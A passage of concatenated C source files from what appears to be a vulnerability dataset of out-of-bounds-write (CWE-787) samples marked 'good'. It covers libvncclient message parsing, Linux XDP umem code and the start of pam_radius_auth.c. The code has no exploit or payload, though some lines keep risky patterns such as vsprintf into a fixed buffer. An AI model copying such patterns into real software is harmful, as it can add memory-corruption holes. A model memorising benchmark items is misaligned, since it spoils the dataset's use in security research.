{ case 8: if (!HandleTRLE8(client, rect.r.x, rect.r.y, rect.r.w, rect.r.h)) return FALSE; break; case 16: if (client->si.format.greenMax > 0x1F) { if (!HandleTRLE16(client, rect.r.x, rect.r.y, rect.r.w, rect.r.h)) return FALSE; } else { if (!HandleTRLE15(client, rect.r.x, rect.r.y, rect.r.w, rect.r.h)) return FALSE; } break; case 32: { uint32_t maxColor = (client->format.redMax << client->format.redShift) | (client->format.greenMax << client->format.greenShift) | (client->format.blueMax << client->format.blueShift); if ((client->format.bigEndian && (maxColor & 0xff) == 0) || (!client->format.bigEndian && (maxColor & 0xff000000) == 0)) { if (!HandleTRLE24(client, rect.r.x, rect.r.y, rect.r.w, rect.r.h)) return FALSE; } else if (!client->format.bigEndian && (maxColor & 0xff) == 0) { if (!HandleTRLE24Up(client, rect.r.x, rect.r.y, rect.r.w, rect.r.h)) return FALSE; } else if (client->format.bigEndian && (maxColor & 0xff000000) == 0) { if (!HandleTRLE24Down(client, rect.r.x, rect.r.y, rect.r.w, rect.r.h)) return FALSE; } else if (!HandleTRLE32(client, rect.r.x, rect.r.y, rect.r.w, rect.r.h)) return FALSE; break; } } break; } #ifdef LIBVNCSERVER_HAVE_LIBZ case rfbEncodingZlib: { switch (client->format.bitsPerPixel) { case 8: if (!HandleZlib8(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; break; case 16: if (!HandleZlib16(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; break; case 32: if (!HandleZlib32(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; break; } break; } #ifdef LIBVNCSERVER_HAVE_LIBJPEG case rfbEncodingTight: { switch (client->format.bitsPerPixel) { case 8: if (!HandleTight8(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; break; case 16: if (!HandleTight16(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; break; case 32: if (!HandleTight32(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; break; } break; } #endif case rfbEncodingZRLE: /* Fail safe for ZYWRLE unsupport VNC server. */ client->appData.qualityLevel = 9; /* fall through */ case rfbEncodingZYWRLE: { switch (client->format.bitsPerPixel) { case 8: if (!HandleZRLE8(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; break; case 16: if (client->si.format.greenMax > 0x1F) { if (!HandleZRLE16(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; } else { if (!HandleZRLE15(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; } break; case 32: { uint32_t maxColor=(client->format.redMax<<client->format.redShift)| (client->format.greenMax<<client->format.greenShift)| (client->format.blueMax<<client->format.blueShift); if ((client->format.bigEndian && (maxColor&0xff)==0) || (!client->format.bigEndian && (maxColor&0xff000000)==0)) { if (!HandleZRLE24(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; } else if (!client->format.bigEndian && (maxColor&0xff)==0) { if (!HandleZRLE24Up(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; } else if (client->format.bigEndian && (maxColor&0xff000000)==0) { if (!HandleZRLE24Down(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; } else if (!HandleZRLE32(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; break; } } break; } #endif default: { rfbBool handled = FALSE; rfbClientProtocolExtension* e; for(e = rfbClientExtensions; !handled && e; e = e->next) if(e->handleEncoding && e->handleEncoding(client, &rect)) handled = TRUE; if(!handled) { rfbClientLog("Unknown rect encoding %d\n", (int)rect.encoding); return FALSE; } } } /* Now we may discard "soft cursor locks". */ client->SoftCursorUnlockScreen(client); client->GotFrameBufferUpdate(client, rect.r.x, rect.r.y, rect.r.w, rect.r.h); } if (!SendIncrementalFramebufferUpdateRequest(client)) return FALSE; if (client->FinishedFrameBufferUpdate) client->FinishedFrameBufferUpdate(client); break; } case rfbBell: { client->Bell(client); break; } case rfbServerCutText: { char *buffer; if (!ReadFromRFBServer(client, ((char *)&msg) + 1, sz_rfbServerCutTextMsg - 1)) return FALSE; msg.sct.length = rfbClientSwap32IfLE(msg.sct.length); if (msg.sct.length > 1<<20) { rfbClientErr("Ignoring too big cut text length sent by server: %u B > 1 MB\n", (unsigned int)msg.sct.length); return FALSE; } buffer = malloc((uint64_t)msg.sct.length+1); if (!ReadFromRFBServer(client, buffer, msg.sct.length)) { free(buffer); return FALSE; } buffer[msg.sct.length] = 0; if (client->GotXCutText) client->GotXCutText(client, buffer, msg.sct.length); free(buffer); break; } case rfbTextChat: { char *buffer=NULL; if (!ReadFromRFBServer(client, ((char *)&msg) + 1, sz_rfbTextChatMsg- 1)) return FALSE; msg.tc.length = rfbClientSwap32IfLE(msg.sct.length); switch(msg.tc.length) { case rfbTextChatOpen: rfbClientLog("Received TextChat Open\n"); if (client->HandleTextChat!=NULL) client->HandleTextChat(client, (int)rfbTextChatOpen, NULL); break; case rfbTextChatClose: rfbClientLog("Received TextChat Close\n"); if (client->HandleTextChat!=NULL) client->HandleTextChat(client, (int)rfbTextChatClose, NULL); break; case rfbTextChatFinished: rfbClientLog("Received TextChat Finished\n"); if (client->HandleTextChat!=NULL) client->HandleTextChat(client, (int)rfbTextChatFinished, NULL); break; default: buffer=malloc(msg.tc.length+1); if (!ReadFromRFBServer(client, buffer, msg.tc.length)) { free(buffer); return FALSE; } /* Null Terminate <just in case> */ buffer[msg.tc.length]=0; rfbClientLog("Received TextChat \"%s\"\n", buffer); if (client->HandleTextChat!=NULL) client->HandleTextChat(client, (int)msg.tc.length, buffer); free(buffer); break; } break; } case rfbXvp: { if (!ReadFromRFBServer(client, ((char *)&msg) + 1, sz_rfbXvpMsg -1)) return FALSE; SetClient2Server(client, rfbXvp); /* technically, we only care what we can *send* to the server * but, we set Server2Client Just in case it ever becomes useful */ SetServer2Client(client, rfbXvp); if(client->HandleXvpMsg) client->HandleXvpMsg(client, msg.xvp.version, msg.xvp.code); break; } case rfbResizeFrameBuffer: { if (!ReadFromRFBServer(client, ((char *)&msg) + 1, sz_rfbResizeFrameBufferMsg -1)) return FALSE; client->width = rfbClientSwap16IfLE(msg.rsfb.framebufferWidth); client->height = rfbClientSwap16IfLE(msg.rsfb.framebufferHeigth); client->updateRect.x = client->updateRect.y = 0; client->updateRect.w = client->width; client->updateRect.h = client->height; if (!client->MallocFrameBuffer(client)) return FALSE; SendFramebufferUpdateRequest(client, 0, 0, client->width, client->height, FALSE); rfbClientLog("Got new framebuffer size: %dx%d\n", client->width, client->height); break; } case rfbPalmVNCReSizeFrameBuffer: { if (!ReadFromRFBServer(client, ((char *)&msg) + 1, sz_rfbPalmVNCReSizeFrameBufferMsg -1)) return FALSE; client->width = rfbClientSwap16IfLE(msg.prsfb.buffer_w); client->height = rfbClientSwap16IfLE(msg.prsfb.buffer_h); client->updateRect.x = client->updateRect.y = 0; client->updateRect.w = client->width; client->updateRect.h = client->height; if (!client->MallocFrameBuffer(client)) return FALSE; SendFramebufferUpdateRequest(client, 0, 0, client->width, client->height, FALSE); rfbClientLog("Got new framebuffer size: %dx%d\n", client->width, client->height); break; } default: { rfbBool handled = FALSE; rfbClientProtocolExtension* e; for(e = rfbClientExtensions; !handled && e; e = e->next) if(e->handleMessage && e->handleMessage(client, &msg)) handled = TRUE; if(!handled) { char buffer[256]; rfbClientLog("Unknown message type %d from VNC server\n",msg.type); ReadFromRFBServer(client, buffer, 256); return FALSE; } } } return TRUE; } #define GET_PIXEL8(pix, ptr) ((pix) = *(ptr)++) #define GET_PIXEL16(pix, ptr) (((uint8_t*)&(pix))[0] = *(ptr)++, \ ((uint8_t*)&(pix))[1] = *(ptr)++) #define GET_PIXEL32(pix, ptr) (((uint8_t*)&(pix))[0] = *(ptr)++, \ ((uint8_t*)&(pix))[1] = *(ptr)++, \ ((uint8_t*)&(pix))[2] = *(ptr)++, \ ((uint8_t*)&(pix))[3] = *(ptr)++) /* CONCAT2 concatenates its two arguments. CONCAT2E does the same but also expands its arguments if they are macros */ #define CONCAT2(a,b) a##b #define CONCAT2E(a,b) CONCAT2(a,b) #define CONCAT3(a,b,c) a##b##c #define CONCAT3E(a,b,c) CONCAT3(a,b,c) #define BPP 8 #include "rre.c" #include "corre.c" #include "hextile.c" #include "ultra.c" #include "zlib.c" #include "tight.c" #include "trle.c" #include "zrle.c" #undef BPP #define BPP 16 #include "rre.c" #include "corre.c" #include "hextile.c" #include "ultra.c" #include "zlib.c" #include "tight.c" #include "trle.c" #include "zrle.c" #define REALBPP 15 #include "trle.c" #define REALBPP 15 #include "zrle.c" #undef BPP #define BPP 32 #include "rre.c" #include "corre.c" #include "hextile.c" #include "ultra.c" #include "zlib.c" #include "tight.c" #include "trle.c" #include "zrle.c" #define REALBPP 24 #include "trle.c" #define REALBPP 24 #include "zrle.c" #define REALBPP 24 #define UNCOMP 8 #include "trle.c" #define REALBPP 24 #define UNCOMP 8 #include "zrle.c" #define REALBPP 24 #define UNCOMP -8 #include "trle.c" #define REALBPP 24 #define UNCOMP -8 #include "zrle.c" #undef BPP /* * PrintPixelFormat. */ void PrintPixelFormat(rfbPixelFormat *format) { if (format->bitsPerPixel == 1) { rfbClientLog(" Single bit per pixel.\n"); rfbClientLog( " %s significant bit in each byte is leftmost on the screen.\n", (format->bigEndian ? "Most" : "Least")); } else { rfbClientLog(" %d bits per pixel.\n",format->bitsPerPixel); if (format->bitsPerPixel != 8) { rfbClientLog(" %s significant byte first in each pixel.\n", (format->bigEndian ? "Most" : "Least")); } if (format->trueColour) { rfbClientLog(" TRUE colour: max red %d green %d blue %d" ", shift red %d green %d blue %d\n", format->redMax, format->greenMax, format->blueMax, format->redShift, format->greenShift, format->blueShift); } else { rfbClientLog(" Colour map (not true colour).\n"); } } } /* avoid name clashes with LibVNCServer */ #define rfbEncryptBytes rfbClientEncryptBytes #define rfbEncryptBytes2 rfbClientEncryptBytes2 #define rfbDes rfbClientDes #define rfbDesKey rfbClientDesKey #define rfbUseKey rfbClientUseKey #include "vncauth.c" #include "d3des.c"
./CrossVul/dataset_final_sorted/CWE-787/c/good_520_0
crossvul-cpp_data_good_4009_0
// SPDX-License-Identifier: GPL-2.0 /* XDP user-space packet buffer * Copyright(c) 2018 Intel Corporation. */ #include <linux/init.h> #include <linux/sched/mm.h> #include <linux/sched/signal.h> #include <linux/sched/task.h> #include <linux/uaccess.h> #include <linux/slab.h> #include <linux/bpf.h> #include <linux/mm.h> #include <linux/netdevice.h> #include <linux/rtnetlink.h> #include <linux/idr.h> #include <linux/vmalloc.h> #include "xdp_umem.h" #include "xsk_queue.h" #define XDP_UMEM_MIN_CHUNK_SIZE 2048 static DEFINE_IDA(umem_ida); void xdp_add_sk_umem(struct xdp_umem *umem, struct xdp_sock *xs) { unsigned long flags; if (!xs->tx) return; spin_lock_irqsave(&umem->xsk_list_lock, flags); list_add_rcu(&xs->list, &umem->xsk_list); spin_unlock_irqrestore(&umem->xsk_list_lock, flags); } void xdp_del_sk_umem(struct xdp_umem *umem, struct xdp_sock *xs) { unsigned long flags; if (!xs->tx) return; spin_lock_irqsave(&umem->xsk_list_lock, flags); list_del_rcu(&xs->list); spin_unlock_irqrestore(&umem->xsk_list_lock, flags); } /* The umem is stored both in the _rx struct and the _tx struct as we do * not know if the device has more tx queues than rx, or the opposite. * This might also change during run time. */ static int xdp_reg_umem_at_qid(struct net_device *dev, struct xdp_umem *umem, u16 queue_id) { if (queue_id >= max_t(unsigned int, dev->real_num_rx_queues, dev->real_num_tx_queues)) return -EINVAL; if (queue_id < dev->real_num_rx_queues) dev->_rx[queue_id].umem = umem; if (queue_id < dev->real_num_tx_queues) dev->_tx[queue_id].umem = umem; return 0; } struct xdp_umem *xdp_get_umem_from_qid(struct net_device *dev, u16 queue_id) { if (queue_id < dev->real_num_rx_queues) return dev->_rx[queue_id].umem; if (queue_id < dev->real_num_tx_queues) return dev->_tx[queue_id].umem; return NULL; } EXPORT_SYMBOL(xdp_get_umem_from_qid); static void xdp_clear_umem_at_qid(struct net_device *dev, u16 queue_id) { if (queue_id < dev->real_num_rx_queues) dev->_rx[queue_id].umem = NULL; if (queue_id < dev->real_num_tx_queues) dev->_tx[queue_id].umem = NULL; } int xdp_umem_assign_dev(struct xdp_umem *umem, struct net_device *dev, u16 queue_id, u16 flags) { bool force_zc, force_copy; struct netdev_bpf bpf; int err = 0; ASSERT_RTNL(); force_zc = flags & XDP_ZEROCOPY; force_copy = flags & XDP_COPY; if (force_zc && force_copy) return -EINVAL; if (xdp_get_umem_from_qid(dev, queue_id)) return -EBUSY; err = xdp_reg_umem_at_qid(dev, umem, queue_id); if (err) return err; umem->dev = dev; umem->queue_id = queue_id; if (flags & XDP_USE_NEED_WAKEUP) { umem->flags |= XDP_UMEM_USES_NEED_WAKEUP; /* Tx needs to be explicitly woken up the first time. * Also for supporting drivers that do not implement this * feature. They will always have to call sendto(). */ xsk_set_tx_need_wakeup(umem); } dev_hold(dev); if (force_copy) /* For copy-mode, we are done. */ return 0; if (!dev->netdev_ops->ndo_bpf || !dev->netdev_ops->ndo_xsk_wakeup) { err = -EOPNOTSUPP; goto err_unreg_umem; } bpf.command = XDP_SETUP_XSK_UMEM; bpf.xsk.umem = umem; bpf.xsk.queue_id = queue_id; err = dev->netdev_ops->ndo_bpf(dev, &bpf); if (err) goto err_unreg_umem; umem->zc = true; return 0; err_unreg_umem: if (!force_zc) err = 0; /* fallback to copy mode */ if (err) xdp_clear_umem_at_qid(dev, queue_id); return err; } void xdp_umem_clear_dev(struct xdp_umem *umem) { struct netdev_bpf bpf; int err; ASSERT_RTNL(); if (!umem->dev) return; if (umem->zc) { bpf.command = XDP_SETUP_XSK_UMEM; bpf.xsk.umem = NULL; bpf.xsk.queue_id = umem->queue_id; err = umem->dev->netdev_ops->ndo_bpf(umem->dev, &bpf); if (err) WARN(1, "failed to disable umem!\n"); } xdp_clear_umem_at_qid(umem->dev, umem->queue_id); dev_put(umem->dev); umem->dev = NULL; umem->zc = false; } static void xdp_umem_unmap_pages(struct xdp_umem *umem) { unsigned int i; for (i = 0; i < umem->npgs; i++) if (PageHighMem(umem->pgs[i])) vunmap(umem->pages[i].addr); } static int xdp_umem_map_pages(struct xdp_umem *umem) { unsigned int i; void *addr; for (i = 0; i < umem->npgs; i++) { if (PageHighMem(umem->pgs[i])) addr = vmap(&umem->pgs[i], 1, VM_MAP, PAGE_KERNEL); else addr = page_address(umem->pgs[i]); if (!addr) { xdp_umem_unmap_pages(umem); return -ENOMEM; } umem->pages[i].addr = addr; } return 0; } static void xdp_umem_unpin_pages(struct xdp_umem *umem) { unpin_user_pages_dirty_lock(umem->pgs, umem->npgs, true); kfree(umem->pgs); umem->pgs = NULL; } static void xdp_umem_unaccount_pages(struct xdp_umem *umem) { if (umem->user) { atomic_long_sub(umem->npgs, &umem->user->locked_vm); free_uid(umem->user); } } static void xdp_umem_release(struct xdp_umem *umem) { rtnl_lock(); xdp_umem_clear_dev(umem); rtnl_unlock(); ida_simple_remove(&umem_ida, umem->id); if (umem->fq) { xskq_destroy(umem->fq); umem->fq = NULL; } if (umem->cq) { xskq_destroy(umem->cq); umem->cq = NULL; } xsk_reuseq_destroy(umem); xdp_umem_unmap_pages(umem); xdp_umem_unpin_pages(umem); kvfree(umem->pages); umem->pages = NULL; xdp_umem_unaccount_pages(umem); kfree(umem); } static void xdp_umem_release_deferred(struct work_struct *work) { struct xdp_umem *umem = container_of(work, struct xdp_umem, work); xdp_umem_release(umem); } void xdp_get_umem(struct xdp_umem *umem) { refcount_inc(&umem->users); } void xdp_put_umem(struct xdp_umem *umem) { if (!umem) return; if (refcount_dec_and_test(&umem->users)) { INIT_WORK(&umem->work, xdp_umem_release_deferred); schedule_work(&umem->work); } } static int xdp_umem_pin_pages(struct xdp_umem *umem) { unsigned int gup_flags = FOLL_WRITE; long npgs; int err; umem->pgs = kcalloc(umem->npgs, sizeof(*umem->pgs), GFP_KERNEL | __GFP_NOWARN); if (!umem->pgs) return -ENOMEM; down_read(&current->mm->mmap_sem); npgs = pin_user_pages(umem->address, umem->npgs, gup_flags | FOLL_LONGTERM, &umem->pgs[0], NULL); up_read(&current->mm->mmap_sem); if (npgs != umem->npgs) { if (npgs >= 0) { umem->npgs = npgs; err = -ENOMEM; goto out_pin; } err = npgs; goto out_pgs; } return 0; out_pin: xdp_umem_unpin_pages(umem); out_pgs: kfree(umem->pgs); umem->pgs = NULL; return err; } static int xdp_umem_account_pages(struct xdp_umem *umem) { unsigned long lock_limit, new_npgs, old_npgs; if (capable(CAP_IPC_LOCK)) return 0; lock_limit = rlimit(RLIMIT_MEMLOCK) >> PAGE_SHIFT; umem->user = get_uid(current_user()); do { old_npgs = atomic_long_read(&umem->user->locked_vm); new_npgs = old_npgs + umem->npgs; if (new_npgs > lock_limit) { free_uid(umem->user); umem->user = NULL; return -ENOBUFS; } } while (atomic_long_cmpxchg(&umem->user->locked_vm, old_npgs, new_npgs) != old_npgs); return 0; } static int xdp_umem_reg(struct xdp_umem *umem, struct xdp_umem_reg *mr) { bool unaligned_chunks = mr->flags & XDP_UMEM_UNALIGNED_CHUNK_FLAG; u32 chunk_size = mr->chunk_size, headroom = mr->headroom; unsigned int chunks, chunks_per_page; u64 addr = mr->addr, size = mr->len; int err; if (chunk_size < XDP_UMEM_MIN_CHUNK_SIZE || chunk_size > PAGE_SIZE) { /* Strictly speaking we could support this, if: * - huge pages, or* * - using an IOMMU, or * - making sure the memory area is consecutive * but for now, we simply say "computer says no". */ return -EINVAL; } if (mr->flags & ~(XDP_UMEM_UNALIGNED_CHUNK_FLAG | XDP_UMEM_USES_NEED_WAKEUP)) return -EINVAL; if (!unaligned_chunks && !is_power_of_2(chunk_size)) return -EINVAL; if (!PAGE_ALIGNED(addr)) { /* Memory area has to be page size aligned. For * simplicity, this might change. */ return -EINVAL; } if ((addr + size) < addr) return -EINVAL; chunks = (unsigned int)div_u64(size, chunk_size); if (chunks == 0) return -EINVAL; if (!unaligned_chunks) { chunks_per_page = PAGE_SIZE / chunk_size; if (chunks < chunks_per_page || chunks % chunks_per_page) return -EINVAL; } if (headroom >= chunk_size - XDP_PACKET_HEADROOM) return -EINVAL; umem->address = (unsigned long)addr; umem->chunk_mask = unaligned_chunks ? XSK_UNALIGNED_BUF_ADDR_MASK : ~((u64)chunk_size - 1); umem->size = size; umem->headroom = headroom; umem->chunk_size_nohr = chunk_size - headroom; umem->npgs = size / PAGE_SIZE; umem->pgs = NULL; umem->user = NULL; umem->flags = mr->flags; INIT_LIST_HEAD(&umem->xsk_list); spin_lock_init(&umem->xsk_list_lock); refcount_set(&umem->users, 1); err = xdp_umem_account_pages(umem); if (err) return err; err = xdp_umem_pin_pages(umem); if (err) goto out_account; umem->pages = kvcalloc(umem->npgs, sizeof(*umem->pages), GFP_KERNEL_ACCOUNT); if (!umem->pages) { err = -ENOMEM; goto out_pin; } err = xdp_umem_map_pages(umem); if (!err) return 0; kvfree(umem->pages); out_pin: xdp_umem_unpin_pages(umem); out_account: xdp_umem_unaccount_pages(umem); return err; } struct xdp_umem *xdp_umem_create(struct xdp_umem_reg *mr) { struct xdp_umem *umem; int err; umem = kzalloc(sizeof(*umem), GFP_KERNEL); if (!umem) return ERR_PTR(-ENOMEM); err = ida_simple_get(&umem_ida, 0, 0, GFP_KERNEL); if (err < 0) { kfree(umem); return ERR_PTR(err); } umem->id = err; err = xdp_umem_reg(umem, mr); if (err) { ida_simple_remove(&umem_ida, umem->id); kfree(umem); return ERR_PTR(err); } return umem; } bool xdp_umem_validate_queues(struct xdp_umem *umem) { return umem->fq && umem->cq; }
./CrossVul/dataset_final_sorted/CWE-787/c/good_4009_0
crossvul-cpp_data_good_1881_0
/* * $Id: pam_radius_auth.c,v 1.39 2007/03/26 05:35:31 fcusack Exp $ * pam_radius_auth * Authenticate a user via a RADIUS session * * 0.9.0 - Didn't compile quite right. * 0.9.1 - Hands off passwords properly. Solaris still isn't completely happy * 0.9.2 - Solaris now does challenge-response. Added configuration file * handling, and skip_passwd field * 1.0.0 - Added handling of port name/number, and continue on select * 1.1.0 - more options, password change requests work now, too. * 1.1.1 - Added client_id=foo (NAS-Identifier), defaulting to PAM_SERVICE * 1.1.2 - multi-server capability. * 1.2.0 - ugly merger of pam_radius.c to get full RADIUS capability * 1.3.0 - added my own accounting code. Simple, clean, and neat. * 1.3.1 - Supports accounting port (oops!), and do accounting authentication * 1.3.2 - added support again for 'skip_passwd' control flag. * 1.3.10 - ALWAYS add Password attribute, to make packets RFC compliant. * 1.3.11 - Bug fixes by Jon Nelson <jnelson@securepipe.com> * 1.3.12 - miscellanous bug fixes. Don't add password to accounting * requests; log more errors; add NAS-Port and NAS-Port-Type * attributes to ALL packets. Some patches based on input from * Grzegorz Paszka <Grzegorz.Paszka@pik-net.pl> * 1.3.13 - Always update the configuration file, even if we're given * no options. Patch from Jon Nelson <jnelson@securepipe.com> * 1.3.14 - Don't use PATH_MAX, so it builds on GNU Hurd. * 1.3.15 - Implement retry option, miscellanous bug fixes. * 1.3.16 - Miscellaneous fixes (see CVS for history) * 1.3.17 - Security fixes * 1.4.0 - bind to any open port, add add force_prompt, max_challenge, prompt options * * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * The original pam_radius.c code is copyright (c) Cristian Gafton, 1996, * <gafton@redhat.com> * * Some challenge-response code is copyright (c) CRYPTOCard Inc, 1998. * All rights reserved. */ #define PAM_SM_AUTH #define PAM_SM_PASSWORD #define PAM_SM_SESSION #include <limits.h> #include <errno.h> #include <sys/time.h> #include "pam_radius_auth.h" #define DPRINT if (opt_debug & PAM_DEBUG_ARG) _pam_log /* internal data */ static CONST char *pam_module_name = "pam_radius_auth"; static char conf_file[BUFFER_SIZE]; /* configuration file */ static int opt_debug = FALSE; /* print debug info */ /* we need to save these from open_session to close_session, since * when close_session will be called we won't be root anymore and * won't be able to access again the radius server configuration file * -- cristiang */ static radius_server_t *live_server = NULL; static time_t session_time; /* logging */ static void _pam_log(int err, CONST char *format, ...) { va_list args; char buffer[BUFFER_SIZE]; va_start(args, format); vsprintf(buffer, format, args); /* don't do openlog or closelog, but put our name in to be friendly */ syslog(err, "%s: %s", pam_module_name, buffer); va_end(args); } /* argument parsing */ static int _pam_parse(int argc, CONST char **argv, radius_conf_t *conf) { int ctrl=0; memset(conf, 0, sizeof(radius_conf_t)); /* ensure it's initialized */ strcpy(conf_file, CONF_FILE); /* set the default prompt */ snprintf(conf->prompt, MAXPROMPT, "%s: ", DEFAULT_PROMPT); /* * If either is not there, then we can't parse anything. */ if ((argc == 0) || (argv == NULL)) { return ctrl; } /* step through arguments */ for (ctrl=0; argc-- > 0; ++argv) { /* generic options */ if (!strncmp(*argv,"conf=",5)) { /* protect against buffer overflow */ if (strlen(*argv+5) >= sizeof(conf_file)) { _pam_log(LOG_ERR, "conf= argument too long"); conf_file[0] = 0; return 0; } strcpy(conf_file,*argv+5); } else if (!strcmp(*argv, "use_first_pass")) { ctrl |= PAM_USE_FIRST_PASS; } else if (!strcmp(*argv, "try_first_pass")) { ctrl |= PAM_TRY_FIRST_PASS; } else if (!strcmp(*argv, "skip_passwd")) { ctrl |= PAM_SKIP_PASSWD; } else if (!strncmp(*argv, "retry=", 6)) { conf->retries = atoi(*argv+6); } else if (!strcmp(*argv, "localifdown")) { conf->localifdown = 1; } else if (!strncmp(*argv, "client_id=", 10)) { if (conf->client_id) { _pam_log(LOG_WARNING, "ignoring duplicate '%s'", *argv); } else { conf->client_id = (char *) *argv+10; /* point to the client-id */ } } else if (!strcmp(*argv, "accounting_bug")) { conf->accounting_bug = TRUE; } else if (!strcmp(*argv, "ruser")) { ctrl |= PAM_RUSER_ARG; } else if (!strcmp(*argv, "debug")) { ctrl |= PAM_DEBUG_ARG; conf->debug = 1; opt_debug = TRUE; } else if (!strncmp(*argv, "prompt=", 7)) { if (!strncmp(conf->prompt, (char*)*argv+7, MAXPROMPT)) { _pam_log(LOG_WARNING, "ignoring duplicate '%s'", *argv); } else { /* truncate excessive prompts to (MAXPROMPT - 3) length */ if (strlen((char*)*argv+7) >= (MAXPROMPT - 3)) { *((char*)*argv+7 + (MAXPROMPT - 3)) = 0; } /* set the new prompt */ memset(conf->prompt, 0, sizeof(conf->prompt)); snprintf(conf->prompt, MAXPROMPT, "%s: ", (char*)*argv+7); } } else if (!strcmp(*argv, "force_prompt")) { conf->force_prompt= TRUE; } else if (!strncmp(*argv, "max_challenge=", 14)) { conf->max_challenge = atoi(*argv+14); } else { _pam_log(LOG_WARNING, "unrecognized option '%s'", *argv); } } return ctrl; } /* Callback function used to free the saved return value for pam_setcred. */ void _int_free(pam_handle_t * pamh, void *x, int error_status) { free(x); } /************************************************************************* * SMALL HELPER FUNCTIONS *************************************************************************/ /* * Return an IP address in host long notation from * one supplied in standard dot notation. */ static uint32_t ipstr2long(char *ip_str) { char buf[6]; char *ptr; int i; int count; uint32_t ipaddr; int cur_byte; ipaddr = (uint32_t)0; for(i = 0;i < 4;i++) { ptr = buf; count = 0; *ptr = '\0'; while(*ip_str != '.' && *ip_str != '\0' && count < 4) { if (!isdigit(*ip_str)) { return (uint32_t)0; } *ptr++ = *ip_str++; count++; } if (count >= 4 || count == 0) { return (uint32_t)0; } *ptr = '\0'; cur_byte = atoi(buf); if (cur_byte < 0 || cur_byte > 255) { return (uint32_t)0; } ip_str++; ipaddr = ipaddr << 8 | (uint32_t)cur_byte; } return ipaddr; } /* * Check for valid IP address in standard dot notation. */ static int good_ipaddr(char *addr) { int dot_count; int digit_count; dot_count = 0; digit_count = 0; while(*addr != '\0' && *addr != ' ') { if (*addr == '.') { dot_count++; digit_count = 0; } else if (!isdigit(*addr)) { dot_count = 5; } else { digit_count++; if (digit_count > 3) { dot_count = 5; } } addr++; } if (dot_count != 3) { return -1; } else { return 0; } } /* * Return an IP address in host long notation from a host * name or address in dot notation. */ static uint32_t get_ipaddr(char *host) { struct hostent *hp; if (good_ipaddr(host) == 0) { return ipstr2long(host); } else if ((hp = gethostbyname(host)) == (struct hostent *)NULL) { return (uint32_t)0; } return ntohl(*(uint32_t *)hp->h_addr); } /* * take server->hostname, and convert it to server->ip and server->port */ static int host2server(radius_server_t *server) { char *p; if ((p = strchr(server->hostname, ':')) != NULL) { *(p++) = '\0'; /* split the port off from the host name */ } if ((server->ip.s_addr = get_ipaddr(server->hostname)) == ((uint32_t)0)) { DPRINT(LOG_DEBUG, "DEBUG: get_ipaddr(%s) returned 0.\n", server->hostname); return PAM_AUTHINFO_UNAVAIL; } /* * If the server port hasn't already been defined, go get it. */ if (!server->port) { if (p && isdigit(*p)) { /* the port looks like it's a number */ unsigned int i = atoi(p) & 0xffff; if (!server->accounting) { server->port = htons((uint16_t) i); } else { server->port = htons((uint16_t) (i + 1)); } } else { /* the port looks like it's a name */ struct servent *svp; if (p) { /* maybe it's not "radius" */ svp = getservbyname (p, "udp"); /* quotes allow distinction from above, lest p be radius or radacct */ DPRINT(LOG_DEBUG, "DEBUG: getservbyname('%s', udp) returned %p.\n", p, svp); *(--p) = ':'; /* be sure to put the delimiter back */ } else { if (!server->accounting) { svp = getservbyname ("radius", "udp"); DPRINT(LOG_DEBUG, "DEBUG: getservbyname(radius, udp) returned %p.\n", svp); } else { svp = getservbyname ("radacct", "udp"); DPRINT(LOG_DEBUG, "DEBUG: getservbyname(radacct, udp) returned %p.\n", svp); } } if (svp == (struct servent *) 0) { /* debugging above... */ return PAM_AUTHINFO_UNAVAIL; } server->port = svp->s_port; } } return PAM_SUCCESS; } /* * Do XOR of two buffers. */ static unsigned char * xor(unsigned char *p, unsigned char *q, int length) { int i; unsigned char *retval = p; for (i = 0; i < length; i++) { *(p++) ^= *(q++); } return retval; } /************************************************************************** * MID-LEVEL RADIUS CODE **************************************************************************/ /* * get a pseudo-random vector. */ static void get_random_vector(unsigned char *vector) { #ifdef linux int fd = open("/dev/urandom",O_RDONLY); /* Linux: get *real* random numbers */ int total = 0; if (fd >= 0) { while (total < AUTH_VECTOR_LEN) { int bytes = read(fd, vector + total, AUTH_VECTOR_LEN - total); if (bytes <= 0) break; /* oops! Error */ total += bytes; } close(fd); } if (total != AUTH_VECTOR_LEN) #endif { /* do this *always* on other platforms */ MD5_CTX my_md5; struct timeval tv; struct timezone tz; static unsigned int session = 0; /* make the number harder to guess */ /* Use the time of day with the best resolution the system can give us -- often close to microsecond accuracy. */ gettimeofday(&tv,&tz); if (session == 0) { session = getppid(); /* (possibly) hard to guess information */ } tv.tv_sec ^= getpid() * session++; /* Hash things to get maybe cryptographically strong pseudo-random numbers */ MD5Init(&my_md5); MD5Update(&my_md5, (unsigned char *) &tv, sizeof(tv)); MD5Update(&my_md5, (unsigned char *) &tz, sizeof(tz)); MD5Final(vector, &my_md5); /* set the final vector */ } } /* * RFC 2139 says to do generate the accounting request vector this way. * However, the Livingston 1.16 server doesn't check it. The Cistron * server (http://home.cistron.nl/~miquels/radius/) does, and this code * seems to work with it. It also works with Funk's Steel-Belted RADIUS. */ static void get_accounting_vector(AUTH_HDR *request, radius_server_t *server) { MD5_CTX my_md5; int secretlen = strlen(server->secret); int len = ntohs(request->length); memset(request->vector, 0, AUTH_VECTOR_LEN); MD5Init(&my_md5); memcpy(((char *)request) + len, server->secret, secretlen); 